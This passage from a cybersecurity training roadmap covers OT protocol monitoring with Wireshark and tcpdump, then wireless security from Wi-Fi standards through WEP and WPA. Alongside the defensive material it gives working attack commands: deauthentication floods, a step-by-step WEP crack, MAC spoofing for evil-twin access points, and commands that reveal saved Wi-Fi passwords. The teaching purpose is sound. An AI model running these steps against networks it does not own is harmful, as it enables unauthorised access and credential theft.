  Traceroute: moderate risk
  - Sends TTL-limited packets — some OT devices respond unexpectedly
  - Useful for mapping, but schedule during maintenance if possible

  Nmap: HIGH risk — must have written approval and operational window
  - PLCs can crash or restart on unexpected port scans
  - Safety systems: NEVER scan without vendor written approval

11.2 Industrial Protocol Analysis in Wireshark

# Wireshark dissectors for OT protocols:

# Modbus TCP (port 502):
# Wireshark automatically dissects Modbus if capture contains port 502 traffic
# Useful display filters:
# modbus.func_code == 3    (Read Holding Registers — most common)
# modbus.func_code == 16   (Preset Multiple Registers — write commands)
# modbus.func_code == 1    (Read Coil Status)
# modbus.exception_code    (Modbus error responses)

# Security analysis of Modbus:
sudo tshark -r ot_capture.pcap \
    -Y "modbus.func_code >= 5" \   # Write commands only
    -T fields \
    -e frame.time \
    -e ip.src \
    -e ip.dst \
    -e modbus.func_code \
    -e modbus.reference_num        # Register number being written

# DNP3 (port 20000):
# Filter: dnp3
# Security-relevant function codes:
# 3 = Time and Date (write)
# 4 = File Transfer
# 13 = Object 21 (frozen analog — operational data)
# 129 = Response (data from field device)

# IEC 60870-5-104 (port 2404):
# Filter: iec104
# ASDU type analysis for operational data vs control commands

# OPC-UA (port 4840):
# Filter: opcua
# Look for: unusual sessions, high data transfer, unexpected service calls

# EtherNet/IP / CIP (port 44818):
# Filter: enip or cip
# CIP services of concern:
# 0x4C = Get Attribute Single (reconnaissance)
# 0x4D = Set Attribute Single (configuration change)
# 0x10 = Set Attribute All (bulk configuration change)

# PROFINET (uses Ethernet frames directly):
# Filter: pn_io or pn_dcp
# DCP: Device discovery protocol (maps device layout)
# RT: Real-time data frames (process data)

# BACnet (UDP 47808):
# Filter: bacnet
# Service: readProperty (reconnaissance)
# Service: writeProperty (control)

11.3 OT-Specific Security Monitoring

# Baseline normal OT traffic, then alert on deviations:

# Step 1: Capture baseline during known-good operation
sudo tcpdump -i eth0 -w /tmp/ot_baseline_$(date +%H%M%S).pcap \
    -G 3600 -W 24 \                # 1 hour rotation, keep 24 files (1 day)
    'port 502 or port 20000 or port 2404 or port 44818 or port 47808'

# Step 2: Build source-destination matrix from baseline
tshark -r /tmp/ot_baseline.pcap -q -z conv,tcp | tail -n +5 | \
    awk '{print $1, "<->", $3}' | sort -u > /tmp/expected_connections.txt

# Step 3: Compare current traffic against baseline
tshark -r /tmp/current.pcap -q -z conv,tcp | tail -n +5 | \
    awk '{print $1, "<->", $3}' | sort -u > /tmp/current_connections.txt

# Connections not in baseline = potential anomaly:
comm -13 /tmp/expected_connections.txt /tmp/current_connections.txt
echo "Above connections are NEW — not seen in baseline"

# Step 4: Alert on write commands to PLCs (should be rare during operation):
sudo tshark -i eth0 -Y "modbus.func_code >= 5" \
    -T fields -e frame.time -e ip.src -e ip.dst -e modbus.func_code | \
    while read line; do
        echo "[ALERT] Modbus write command: $line" | logger -t OT_SECURITY
    done

12. Hands-On Exercises

Exercise 1: Wireshark Protocol Deep-Dive (45 minutes)

# Download sample captures from Wireshark's wiki:
wget -q https://wiki.wireshark.org/uploads/afae4d9c6a5c0b96db05df03d00c97b0/http.cap \
    -O /tmp/http_sample.pcap 2>/dev/null || \
    echo "Download from wiki.wireshark.org/SampleCaptures manually"

# If no download, generate your own:
sudo tcpdump -i eth0 -w /tmp/my_capture.pcap -c 500 &
# Browse some websites, then:
curl http://neverssl.com/ > /dev/null
curl https://example.com > /dev/null
nslookup google.com > /dev/null
kill %1 2>/dev/null

# Analysis tasks (in Wireshark):
CAPTURE="/tmp/my_capture.pcap"

echo "=== Task 1: Protocol Distribution ==="
tshark -r "$CAPTURE" -q -z io,phs 2>/dev/null | head -20

echo "=== Task 2: Top 5 Talkers ==="
tshark -r "$CAPTURE" -q -z conv,ip 2>/dev/null | head -10

echo "=== Task 3: DNS Queries Made ==="
tshark -r "$CAPTURE" -Y "dns.flags.response == 0" \
    -T fields -e dns.qry.name 2>/dev/null | sort | uniq -c | sort -rn

echo "=== Task 4: HTTP Requests ==="
tshark -r "$CAPTURE" -Y "http.request" \
    -T fields -e ip.src -e http.host -e http.request.uri 2>/dev/null | head -10

echo "=== Task 5: TCP Connections ==="
tshark -r "$CAPTURE" -q -z conv,tcp 2>/dev/null | head -10

echo "=== Task 6: Open Wireshark for visual analysis ==="
echo "Commands: wireshark $CAPTURE"
echo "Try these filters:"
echo "  tcp.flags.syn == 1 and tcp.flags.ack == 0"
echo "  http.request"
echo "  dns"
echo "  ip.addr == 8.8.8.8"

Exercise 2: Nmap Discovery and Scanning (30 minutes)

# Nmap exercises (on your own lab network)

NETWORK="192.168.1.0/24"  # Change to your network

echo "=== Exercise 2.1: Host Discovery ==="
sudo nmap -sn "$NETWORK" | grep -E "Nmap scan|Host is"

echo "=== Exercise 2.2: SYN scan of single host ==="
TARGET=$(sudo nmap -sn "$NETWORK" | grep "report for" | head -1 | awk '{print $NF}')
echo "Scanning $TARGET..."
sudo nmap -sS -p 1-1000 "$TARGET" 2>/dev/null | tail -20

echo "=== Exercise 2.3: Version detection ==="
sudo nmap -sV -p 22,80,443 "$TARGET" 2>/dev/null

echo "=== Exercise 2.4: NSE default scripts ==="
sudo nmap -sC -p 22,80,443 "$TARGET" 2>/dev/null | head -30

echo "=== Exercise 2.5: OS detection ==="
sudo nmap -O "$TARGET" 2>/dev/null | grep -A5 "OS details"

echo "=== Exercise 2.6: Save results ==="
sudo nmap -sS -sV -oA /tmp/nmap_exercise "$TARGET" 2>/dev/null
echo "Results saved: /tmp/nmap_exercise.{nmap,xml,gnmap}"
echo "Open XML in Metasploit: db_import /tmp/nmap_exercise.xml"

Exercise 3: Network Forensics Investigation (45 minutes)

# Simulate a security incident and investigate

# Step 1: Create baseline network state
echo "=== Baseline Network State ==="
ss -tnp > /tmp/baseline_connections.txt
ip addr show > /tmp/baseline_interfaces.txt
ip route show > /tmp/baseline_routes.txt
ip neigh show > /tmp/baseline_arp.txt
echo "Baseline saved"

# Step 2: Start a background listener (simulating backdoor):
nc -l 4444 &
NC_PID=$!
echo "Simulated backdoor started on port 4444 (PID: $NC_PID)"

# Step 3: Investigate — find the "backdoor":
echo ""
echo "=== INVESTIGATION ==="

echo "--- Step A: Check for new listening ports ---"
ss -tlnp | grep -v "$(cat /tmp/baseline_connections.txt | awk '{print $4}' | grep LISTEN | tr '\n' '|')"

echo ""
echo "--- Step B: Find the specific listener ---"
ss -tlnp | grep ":4444"

echo ""
echo "--- Step C: Identify the process ---"
ss -tlnp | grep ":4444" | grep -oE 'pid=[0-9]+' | while read pid; do
    pid_num=${pid#pid=}
    echo "PID: $pid_num"
    echo "Command: $(cat /proc/$pid_num/cmdline 2>/dev/null | tr '\0' ' ')"
    echo "Executable: $(ls -la /proc/$pid_num/exe 2>/dev/null)"
done

echo ""
echo "--- Step D: Check ARP for new hosts ---"
diff /tmp/baseline_arp.txt <(ip neigh show) | grep "^>" || echo "No new ARP entries"

# Step 4: Cleanup
kill $NC_PID 2>/dev/null
echo ""
echo "=== Investigation complete. Backdoor cleaned up. ==="

Exercise 4: Build a Network Monitor Script (30 minutes)

cat > /tmp/network_monitor.sh << 'SCRIPT'
#!/bin/bash
# Network security monitor — baseline and alert on changes

BASELINE_DIR="/tmp/net_baseline"
ALERT_LOG="/tmp/net_alerts.log"
mkdir -p "$BASELINE_DIR"

create_baseline() {
    echo "Creating baseline..."
    ss -tlnp | awk 'NR>1 {print $4, $6}' | sort > "$BASELINE_DIR/listeners.txt"
    ip neigh show | awk '{print $1, $5}' | sort > "$BASELINE_DIR/arp.txt"
    ip route show > "$BASELINE_DIR/routes.txt"
    echo "Baseline created at $(date)"
}

check_changes() {
    local timestamp=$(date '+%Y-%m-%d %H:%M:%S')

    # Check for new listeners
    CURRENT_LISTENERS=$(ss -tlnp | awk 'NR>1 {print $4, $6}' | sort)
    NEW_LISTENERS=$(comm -13 "$BASELINE_DIR/listeners.txt" <(echo "$CURRENT_LISTENERS"))
    if [ -n "$NEW_LISTENERS" ]; then
        echo "[$timestamp] NEW LISTENER DETECTED:" | tee -a "$ALERT_LOG"
        echo "$NEW_LISTENERS" | tee -a "$ALERT_LOG"
    fi

    # Check for new ARP entries
    CURRENT_ARP=$(ip neigh show | awk '{print $1, $5}' | sort)
    NEW_ARP=$(comm -13 "$BASELINE_DIR/arp.txt" <(echo "$CURRENT_ARP"))
    if [ -n "$NEW_ARP" ]; then
        echo "[$timestamp] NEW HOST DETECTED (ARP):" | tee -a "$ALERT_LOG"
        echo "$NEW_ARP" | tee -a "$ALERT_LOG"
    fi

    # Check for route changes
    CURRENT_ROUTES=$(ip route show)
    if ! diff "$BASELINE_DIR/routes.txt" <(echo "$CURRENT_ROUTES") > /dev/null 2>&1; then
        echo "[$timestamp] ROUTING TABLE CHANGED!" | tee -a "$ALERT_LOG"
        diff "$BASELINE_DIR/routes.txt" <(echo "$CURRENT_ROUTES") | tee -a "$ALERT_LOG"
    fi
}

case "${1:-check}" in
    baseline) create_baseline ;;
    check)    check_changes ;;
    monitor)
        create_baseline
        echo "Monitoring for changes... (Ctrl+C to stop)"
        while true; do
            check_changes
            sleep 30
        done
        ;;
    *)
        echo "Usage: $0 [baseline|check|monitor]"
        ;;
esac
SCRIPT

chmod +x /tmp/network_monitor.sh
echo "Usage:"
echo "  bash /tmp/network_monitor.sh baseline  # Create baseline"
echo "  bash /tmp/network_monitor.sh check     # Check for changes"
echo "  bash /tmp/network_monitor.sh monitor   # Continuous monitoring"

13. Module Summary

Tool	Primary Function	Key Security Use	OT/ICS Notes
Wireshark	GUI packet capture and analysis	Full protocol dissection, credential capture in cleartext protocols, follow TCP stream for session reconstruction	Safe (passive via SPAN/TAP); Modbus/DNP3/IEC 61850 dissectors built-in
tshark	CLI Wireshark	Scripted analysis, remote capture via SSH, automated field extraction	Same as Wireshark — passive, no impact
tcpdump	CLI packet capture	Evidence collection, real-time monitoring, piping to analysis tools	Available on embedded Linux OT systems; safest active tool
netstat	Connection state viewer	Backdoor detection (unexpected listeners), active connection analysis, process-to-port mapping	Run on HMI/SCADA servers for connection audit
ss	Modern netstat replacement	Same as netstat, faster, richer filtering	Preferred on modern Linux OT systems
Nmap (host discovery)	Identify live hosts	Network mapping, asset discovery, scope definition	Use -sn with ICMP only; get approval; schedule maintenance window
Nmap (port scan)	Identify open services	Attack surface enumeration, service version detection	HIGH risk in OT; PLC/RTU may crash; written approval mandatory
Nmap NSE	Automated vulnerability/info scripts	Vuln checking (EternalBlue, Heartbleed), OT protocol fingerprinting	OT-specific scripts (modbus-discover, s7-info) useful but still invasive
Traceroute	Path discovery	Network topology mapping, firewall location, BGP anomaly detection	Moderate risk in OT; some RTUs respond unexpectedly to TTL-limited packets
Ping	Reachability and RTT	Host discovery, latency baseline, OS fingerprinting (TTL), covert channel detection	Low risk but get approval; some legacy field devices unstable with unexpected ICMP
ipconfig	Windows interface config	MITM detection (wrong gateway/DNS), VPN adapter detection, forensic timestamps	Run on Windows HMI/engineering workstations for configuration audit
ifconfig/ip	Linux interface config	Interface configuration, promiscuous mode detection, route analysis	Run on Linux-based HMI/SCADA servers
dig/nslookup	DNS interrogation	DNS security checks (SPF/DMARC/DKIM), zone transfer, subdomain enumeration	Useful for verifying DNS configuration of OT-connected systems
arp	ARP table management	MITM detection (gateway MAC change), rogue host detection	Critical in OT: unexpected ARP entries = potential rogue device

Next Stage: Stage 2 — Cybersecurity Core

Previous Module: Stage 1.7 — Wireless Networks

Stage Index: Stage 1 README

Series Index: Full Roadmap

Stage 1.7 — Wireless Networks

Rençber AKMAN — Mon, 08 Jun 2026 18:09:53 +0000

From Zero to Cybersecurity Professional | Complete Roadmap Series

Series: Cybersecurity × OT/ICS Security — Full Roadmap

Stage: 1 — Network Fundamentals

Module: 1.7 — Wireless Networks

Level: Beginner → Advanced

Prerequisites: Stage 1.6 — Network Devices

Next Module: 1.8 — Network Analysis Tools

Why Wireless Security Is a Permanent Battlefield
Wi-Fi Standards — 802.11 Family
Radio Frequency Fundamentals — 2.4 GHz vs 5 GHz vs 6 GHz
SSID and BSSID — Wireless Identity
Wireless Security Protocols — WEP to WPA3
WPA2 — The Dominant Standard and Its Weaknesses
WPA3 — The Modern Standard
Rogue Access Point
Evil Twin Attack
Additional Critical Wireless Attacks
Wireless Forensics and Detection
Wireless in OT/ICS Environments
Hands-On Exercises
Module Summary

1. Why Wireless Security Is a Permanent Battlefield

Wireless networks are different from wired networks in one fundamental way: the medium is shared and accessible to anyone within range. An attacker does not need physical access to your building, does not need to plug into a network port, and does not leave physical evidence of their presence. They can sit in a car 200 metres away and conduct a full attack.

Concrete attacks and consequences:

Target Corporation Breach (2013): The initial access vector that ultimately compromised 40 million credit card numbers began with credentials stolen from a third-party HVAC vendor. That vendor had wireless access to Target's network for remote monitoring. Weak wireless network segmentation allowed movement from the vendor's access to payment systems. Wireless access granted to a third party became the entry point for the largest retail breach of its era.

Marriott/Starwood Breach (2014-2018): Hackers maintained access to Starwood's network for four years before discovery. Investigation revealed that some of the lateral movement exploited wireless network segments that were inadequately monitored. 500 million guest records compromised.

Carbanak APT Campaign (2013-2015): The criminal group responsible for stealing $1 billion from banks used spear phishing for initial access, but wireless networks within bank branches were used for lateral movement once inside the building. Physical proximity attackers (inside the building or nearby) used wireless to maintain persistent access.

Industrial Wireless Attacks: In documented OT security assessments, wireless networks in industrial facilities have been found:

Using WEP encryption (breakable in minutes)
Using WPA2 with default passwords (breakable in hours)
Running unencrypted wireless sensor networks
Connecting directly to the control network without isolation

For your OT/ICS path: Industrial wireless is growing rapidly — wireless sensors, wireless field device configuration tools, WiFi-enabled PLCs, wireless HMI tablets, and industrial IoT are all becoming standard. Each represents a wireless attack surface on systems that control physical processes. An attacker who compromises wireless in a manufacturing facility may be one hop from PLCs controlling heavy machinery.

The security mindset for this module: Wireless is a shared medium. There is no such thing as "private" wireless — only wireless where the content is protected by cryptography. Every wireless transmission is received by every device in range. The question is only whether they can decode it.

2. Wi-Fi Standards — 802.11 Family

2.1 IEEE 802.11 — The Standard Family

Wi-Fi is the commercial name for IEEE 802.11 — a set of standards developed by the IEEE (Institute of Electrical and Electronics Engineers) for wireless local area networks. Each amendment to the base standard adds new capabilities, higher speeds, or new frequency bands.

802.11 Standard Timeline and Security Relevance:

Year  Standard  Wi-Fi Name  Frequency    Max Speed    Security Notes
────────────────────────────────────────────────────────────────────────────
1997  802.11    (original)  2.4 GHz      2 Mbps       WEP only — broken
1999  802.11a   (none)      5 GHz        54 Mbps      WEP — broken
1999  802.11b   (none)      2.4 GHz      11 Mbps      WEP — broken
2003  802.11g   (none)      2.4 GHz      54 Mbps      WEP/WPA — WEP broken
2009  802.11n   Wi-Fi 4     2.4/5 GHz    600 Mbps     WPA2 — current minimum
2013  802.11ac  Wi-Fi 5     5 GHz        3.5 Gbps     WPA2/WPA3
2019  802.11ax  Wi-Fi 6     2.4/5/6 GHz  9.6 Gbps     WPA3 (Wi-Fi 6 requires)
2021  802.11ax  Wi-Fi 6E    6 GHz only   9.6 Gbps     WPA3 required
2024  802.11be  Wi-Fi 7     2.4/5/6 GHz  46 Gbps      WPA3 required

2.2 Key Technical Concepts Per Standard

MIMO — Multiple Input, Multiple Output (802.11n and later):

Single antenna (802.11g):          MIMO (802.11n, 4×4):
  [Transmitter] → [single stream] →   [TX1] → [stream 1] → [RX1]
  [Receiver]                           [TX2] → [stream 2] → [RX2]
                                        [TX3] → [stream 3] → [RX3]
                                        [TX4] → [stream 4] → [RX4]

More antennas = more spatial streams = higher throughput
802.11ac: up to 8 spatial streams (MU-MIMO — multiple simultaneous users)
802.11ax: OFDMA (Orthogonal Frequency Division Multiple Access)
          Multiple users simultaneously in same channel — more efficient

Security implication: MIMO and MU-MIMO complicate wireless analysis.
Specialised wireless adapters are needed to capture all spatial streams.
Consumer adapters typically capture only one stream in monitor mode.

Channel Bonding:

Standard channel width: 20 MHz
Bonded channels: 40 MHz (2 channels), 80 MHz (4 channels), 160 MHz (8 channels)

More bandwidth = faster throughput BUT:
  - Fewer non-overlapping channels available
  - Wider channels = more susceptible to interference
  - 80/160 MHz on 5 GHz: fewer total channels available

For attackers: wider channel = attack tool must monitor wider spectrum
For defenders: wider channels may interfere with wireless monitoring sensors

802.11ax (Wi-Fi 6) — Security Mandates:

Wi-Fi 6 certification requires WPA3 — the first Wi-Fi generation to mandate its security protocol. This is significant because:

Devices certified for Wi-Fi 6 cannot use WPA2 alone
WPA3 eliminates the PMKID offline attack that compromised WPA2
WPA3 provides forward secrecy (old traffic cannot be decrypted even if password is later compromised)

However: Wi-Fi 6 capable hardware CAN still run in WPA2 mode for backward compatibility. "Wi-Fi 6 certified" ≠ "WPA3 only."

2.3 Security Implications by Standard

For penetration testing scope:
  Find 802.11b/g → WEP likely possible → trivially breakable
  Find 802.11n with WPA2 → PMKID or 4-way handshake capture → offline crack
  Find 802.11ac with WPA2 → same as above
  Find 802.11ax with WPA3 → significantly harder → SAE dragonfly handshake
  Find 802.11ax with WPA2 (downgrade) → can attack WPA2 portion

For network assessment:
  Identify all standards in use in the environment
  Any b/g networks with WEP: immediate critical finding
  Any n/ac networks with WPA2-Personal: assess password strength
  Any networks using WPA3: verify WPA2 transition mode is not exploited

# Identify Wi-Fi standards and security in use:
sudo iwlist wlan0 scan | grep -E "ESSID|Frequency|Encryption|IE:|WPA"

# With iw:
sudo iw dev wlan0 scan | grep -E "SSID:|freq:|RSN:|WPA:"

# Airodump-ng — comprehensive wireless survey:
sudo airmon-ng start wlan0          # Enable monitor mode
sudo airodump-ng wlan0mon           # Survey all networks

# Key columns in airodump-ng output:
# BSSID:    AP MAC address
# PWR:      Signal strength (higher negative = closer)
# Beacons:  Number of beacon frames received
# Data:     Data frames captured
# CH:       Channel
# MB:       Max speed (11=802.11b, 54=802.11g, indicates standard)
# ENC:      Encryption type (WEP, WPA, WPA2, WPA3)
# CIPHER:   Cipher used (CCMP=AES, TKIP=RC4)
# AUTH:     Authentication (PSK=pre-shared key, MGT=enterprise/RADIUS)
# ESSID:    Network name

# Wash — scan for WPS-enabled networks:
sudo wash -i wlan0mon
# WPS (Wi-Fi Protected Setup) has its own vulnerabilities (Pixie Dust, brute force)

Key Insight: The 802.11 standard version tells you the likely attack surface before you even test the password. 802.11b/g typically means WEP or early WPA — trivially broken. 802.11n/ac means WPA2 — crackable with good wordlists. 802.11ax in WPA3 mode — significantly hardened. Reading the standard version from a scan is the first step in attack planning and in security assessment.

3. Radio Frequency Fundamentals — 2.4 GHz vs 5 GHz vs 6 GHz

3.1 Why Frequency Matters for Security

Radio frequency determines range, penetration, interference, and the number of available channels. All of these affect both attack capability and defence posture.

Frequency Comparison:

Property              2.4 GHz           5 GHz             6 GHz
────────────────────────────────────────────────────────────────────────────
Range (typical)        ~70m indoor       ~30m indoor       ~15m indoor
                       ~250m outdoor     ~100m outdoor     ~50m outdoor
Wall penetration        High              Medium            Low
Interference            High              Lower             Very low
Available channels      11 (3 non-overlap) 25 (9 non-overlap) 59 (all non-overlap)
Max speed              ~600 Mbps         ~3.5 Gbps         ~9.6 Gbps
Standard               802.11n and older  802.11a/n/ac/ax   802.11ax (6E) only

Security Implications of Frequency:

2.4 GHz — The Double-Edged Frequency:

  Advantages for attackers:
    Longer range → attack from greater distance
    Better building penetration → attack from outside building
    More device compatibility → wider attack surface

  Advantages for defenders:
    Easier to survey (widely supported by monitoring hardware)

  Interference sources:
    Microwave ovens (2.45 GHz), Bluetooth (2.4 GHz),
    baby monitors, cordless phones, ZigBee (2.4 GHz)
    Interference can be used to cause denial of service

5 GHz — The Performance Frequency:

  Advantages for attackers:
    More channels = harder to survey completely without multiple adapters

  Advantages for defenders:
    Shorter range limits attacker's standoff distance
    Less interference = more reliable performance

6 GHz — The New Frontier (Wi-Fi 6E):

  Only 802.11ax devices support this band
  Requires WPA3 — attacker cannot use WPA2 downgrade attacks
  Very short range limits attack distance significantly
  All 59 channels are 20 MHz non-overlapping → efficient spectrum use
  Limited hardware support currently limits monitoring capability

3.2 Channels and Their Security Relevance

2.4 GHz channels (US: 1-11, Europe: 1-13, Japan: 1-14):

Channel: 1  2  3  4  5  6  7  8  9  10  11
         ├──────────┤
              ├──────────┤
                   ├──────────┤
                        ...

Non-overlapping channels (US): 1, 6, 11
Each channel: 20 MHz wide, centres 5 MHz apart → overlap

In a dense environment, having networks on channels 1, 6, 11 reduces
interference. Networks on intermediate channels (2-5, 7-10) interfere
with TWO non-overlapping channels simultaneously — bad design.

Security implication: Rogue AP placement on overlapping channels causes
interference with legitimate AP → partial DoS that forces clients to
roam to attacker-controlled AP.

5 GHz channels (subset):
  36, 40, 44, 48 (UNII-1 — indoor)
  52, 56, 60, 64 (UNII-2 — DFS required)
  100-144 (UNII-2C — DFS required)
  149, 153, 157, 161, 165 (UNII-3 — outdoor)

DFS (Dynamic Frequency Selection): required on some 5 GHz channels to
avoid interfering with radar systems. AP must monitor for radar and
switch channels if detected. Attackers can send fake radar signals
to force AP channel switches (channel flooding attack).

# Survey available channels and signal strength:
sudo iwlist wlan0 scan | grep -E "Channel|Signal|ESSID|Frequency"

# Airodump-ng channel hopping:
sudo airodump-ng wlan0mon                    # Hops through all channels
sudo airodump-ng --channel 6 wlan0mon        # Lock to channel 6
sudo airodump-ng --band abg wlan0mon         # Scan 2.4 + 5 GHz simultaneously

# Check for radar detection events (DFS) on Linux:
iw dev wlan0 info | grep wiphy
iw phy phy0 info | grep -A5 "DFS state"

# Channel utilisation analysis (airspy-NG or similar):
# High channel utilisation = interference = possible attack or congestion
# Medium: 0-30% normal, 30-60% busy, 60%+ problematic

Key Insight: The 2.4 GHz band's long range and wall penetration means your corporate Wi-Fi network may be accessible from the car park, the street, or the neighbouring building. A standard Yagi antenna can extend this range to 1 km. The attacker does not need to be inside your perimeter. Physical security and wireless security are separate but complementary — a fence stops physical intrusion; wireless signals cross that fence freely.

4. SSID and BSSID — Wireless Identity

4.1 SSID — Service Set Identifier

The SSID is the human-readable name of a wireless network — what you see when you scan for Wi-Fi. It can be up to 32 bytes (not strictly characters — can include any bytes including null bytes).

SSID Properties:
  Length: 0-32 bytes
  Characters: any (including non-printable, null bytes, special characters)
  Case-sensitive: "CorpWiFi" ≠ "corpwifi"
  Not unique: multiple APs can broadcast the same SSID (roaming design)
  Not authenticated: any AP can broadcast any SSID

SSID Broadcast — Beacon Frames:
  AP sends beacon frames ~10 times per second
  Beacons contain: SSID, BSSID, channel, supported rates, security info
  Visible to anyone with a wireless adapter in monitor mode

Hidden SSID (SSID cloaking):
  AP sends beacon with empty SSID field
  Network doesn't appear in normal scan results
  Security through obscurity — NOT a security control

Why hidden SSID fails:
  1. SSID appears in Probe Response frames when client connects
  2. SSID appears in client Probe Request frames (client broadcasts SSID it's looking for)
  3. Passive monitoring captures SSID the moment any client connects
  4. Tools: airodump-ng shows hidden SSIDs after capturing first connection

SSID Security Attacks:

# Discover hidden SSIDs:
sudo airodump-ng wlan0mon
# Hidden SSIDs appear as: <length: X> where X = actual SSID length
# Wait for a client to connect → SSID revealed in probe request/response

# Force reveal of hidden SSID by sending deauth to clients:
# When clients reconnect, they send probe requests with the SSID
sudo aireplay-ng --deauth 5 -a BSSID_OF_HIDDEN_AP wlan0mon
# -deauth 5: send 5 deauthentication frames
# -a: target AP's MAC address

# Monitor probe requests to see what networks clients are looking for:
sudo airodump-ng wlan0mon
# Look at bottom section: "Probes" column shows networks clients have connected to
# This is useful for:
# 1. Identifying hidden SSIDs
# 2. Finding preferred networks for evil twin setup
# 3. OSINT on users (what networks they've connected to)

# SSID spoofing (setting up AP with same name as target):
sudo hostapd /tmp/hostapd.conf
# Where hostapd.conf sets ssid=TargetNetworkName
# No cryptographic verification of SSID → any AP can claim any name

4.2 BSSID — Basic Service Set Identifier

The BSSID is the MAC address of the access point's wireless interface. It uniquely identifies a specific physical radio transmitter.

BSSID Properties:
  Format: 6-byte MAC address (XX:XX:XX:XX:XX:XX)
  Typically matches AP's wireless NIC MAC address

  OUI (first 3 bytes) identifies manufacturer:
  00:1A:11 → Google (Pixel phones, Google Nest)
  00:50:56 → VMware
  3C:22:FB → Apple

  For APs:
  00:1C:0E → Cisco Linksys
  F8:1A:67 → TP-Link
  B4:FB:E4 → Ubiquiti

Multi-SSID / Virtual APs:
  One physical AP can broadcast multiple SSIDs simultaneously
  Each SSID gets its own BSSID (MAC address incremented by 1)
  Example:
    Physical AP MAC: 00:11:22:33:44:55
    Corporate SSID BSSID:    00:11:22:33:44:55
    Guest SSID BSSID:        00:11:22:33:44:56
    IoT SSID BSSID:          00:11:22:33:44:57

BSSID in Attack Context:

# Use BSSID to identify AP manufacturer and potentially model:
# OUI lookup:
python3 -c "
import urllib.request
bssid = '00:1C:0E:12:34:56'
oui = bssid[:8].replace(':', '-').upper()
try:
    url = f'https://api.macvendors.com/{oui}'
    r = urllib.request.urlopen(url, timeout=3)
    print(f'Vendor: {r.read().decode()}')
except:
    print('OUI lookup failed')
"

# Track a specific AP (lock airodump to specific BSSID):
sudo airodump-ng --bssid TARGET_BSSID --channel 6 -w capture wlan0mon
# Captures only traffic from/to that specific AP
# Useful for focused attack or analysis

# BSSID spoofing — impersonate legitimate AP:
# Tools set wireless adapter MAC to match target BSSID
sudo ip link set wlan0 down
sudo ip link set wlan0 address 00:1C:0E:12:34:55   # Spoof MAC to match AP
sudo ip link set wlan0 up
# Now your adapter appears as the legitimate AP when transmitting
# Foundation of evil twin attacks

# GPS mapping of BSSID (wardriving):
sudo kismet -c wlan0               # Kismet with GPS records BSSID + GPS coords
# Creates map of all wireless networks
# Used for: site survey, finding coverage gaps, geolocation of rogues

Preferred Network List (PNL) — Client Device Attack Surface:

Every device stores a Preferred Network List:
  Networks the device has previously connected to
  Device automatically connects to known networks

Problem: Device probes for known networks:
  "Is CorpWiFi here?"
  "Is HomeNetwork here?"
  "Is Starbucks here?"

Attacker captures probe requests → knows all networks device has connected to
Attacker creates Evil Twin with any of those names → device may auto-connect

Windows PNL:
  netsh wlan show profiles                    # List saved networks
  netsh wlan show profile name="Corporate" key=clear  # Show saved password!

Linux (NetworkManager):
  nmcli connection show                       # List saved connections
  ls /etc/NetworkManager/system-connections/  # Configuration files with passwords

macOS:
  security find-generic-password -D "AirPort network password" -a "NetworkName" -w

Forensic relevance:
  PNL on confiscated device reveals travel history, home networks, work networks
  Can be used to attribute device to specific locations and organisations

Key Insight: The SSID is not authenticated. Any AP can broadcast any SSID. The BSSID (MAC address) can be spoofed in software. Clients auto-connect to "known" networks based solely on SSID match. This combination — unauthenticated identity, spoofable address, automatic connection — is the foundation of nearly every wireless client-side attack. WPA3's approach of Simultaneous Authentication of Equals partially addresses this by making the handshake resistant to offline attacks even when SSID is spoofed.

5. Wireless Security Protocols — WEP to WPA3

5.1 WEP — Wired Equivalent Privacy (1997)

WEP was the original 802.11 security protocol, intended to provide privacy equivalent to a wired network. It failed catastrophically.

How WEP Works:

WEP Encryption:
  Key: 40-bit or 104-bit pre-shared key (PSK)
  IV:  24-bit Initialization Vector (randomly generated per packet)

  Encryption:
  ┌────────────────────────────────────────────────────────┐
  │  Keystream = RC4(IV + Key)                            │
  │  Ciphertext = Plaintext XOR Keystream                 │
  │  Transmitted: [IV (24 bits)][Ciphertext][ICV (CRC-32)]│
  └────────────────────────────────────────────────────────┘

  IV = 24 bits = 16,777,216 possible values
  On a busy network: IV repeats every ~5 hours (or less)
  When IV repeats: same keystream used for different plaintexts
  Keystream recovery: XOR two ciphertexts with same IV

Why WEP Is Broken:

Vulnerabilities:

1. Short IV (24 bits):
   IV reuse guaranteed on active networks
   IV of 0 to 16M → cycles completely in hours

2. RC4 weak keys ("related key" attack):
   Certain IV values create weak RC4 keystreams
   Statistical analysis of these weak keys reveals the WEP key
   Fluhrer, Mantin, Shamir (FMS) attack (2001)

3. CRC-32 is not cryptographically secure:
   CRC-32 provides error detection, not cryptographic integrity
   Attacker can modify ciphertext and update CRC correctly
   → Bit-flipping attacks possible without knowing the key

4. No mutual authentication:
   Client authenticates to AP, AP does not prove its identity to client

Attack timeline to crack WEP:
  Original FMS attack (2001): required ~4 million packets (~1 day)
  PTW attack (Tews, Weinmann, Pyshkin, 2007): 40,000-85,000 packets (~minutes)
  Aircrack-ng with PTW: WEP 64-bit cracked in ~60 seconds

# WEP cracking (educational — only on networks you own):

# Step 1: Enable monitor mode
sudo airmon-ng start wlan0
# Adapter: wlan0 → wlan0mon

# Step 2: Find target WEP network
sudo airodump-ng wlan0mon
# Note: BSSID, Channel, ESSID of target (ENC column shows WEP)

# Step 3: Capture IVs for target network
sudo airodump-ng --bssid TARGET_BSSID --channel 6 -w wep_capture wlan0mon

# Step 4: Accelerate IV collection via ARP replay attack
sudo aireplay-ng --arpreplay -b TARGET_BSSID -h YOUR_MAC wlan0mon
# ARP replay: capture one ARP packet, replay it → AP generates new IVs

# Step 5: Crack when enough IVs collected (40,000+)
aircrack-ng wep_capture*.cap
# Typically cracks in <60 seconds with enough IVs

# Detection of WEP cracking:
# Extremely high data rates from specific client (ARP replay)
# IDS alert on ARP replay (repeated identical ARP packets)
# Wireless IDS: Kismet, AirDefense detect injection attacks

5.2 WPA — Wi-Fi Protected Access (2003)

WPA was designed as a rapid fix for WEP's catastrophic failures while being deployable on existing WEP hardware via firmware update.

WPA Components:
  Protocol:    TKIP (Temporal Key Integrity Protocol)
  Key mixing:  Per-packet key mixing (prevents related key attacks)
  IV:          48-bit (vs WEP's 24-bit) — much larger keyspace
  Integrity:   Michael MIC (Message Integrity Code) — better than CRC-32
  Authentication: PSK (personal) or 802.1X/RADIUS (enterprise)

TKIP improvements over WEP:
  ✓ Per-packet key derived from base key + packet counter
  ✓ 48-bit IV → IV reuse extremely unlikely
  ✓ Michael MIC → detects packet modification

TKIP weaknesses (why WPA is deprecated):
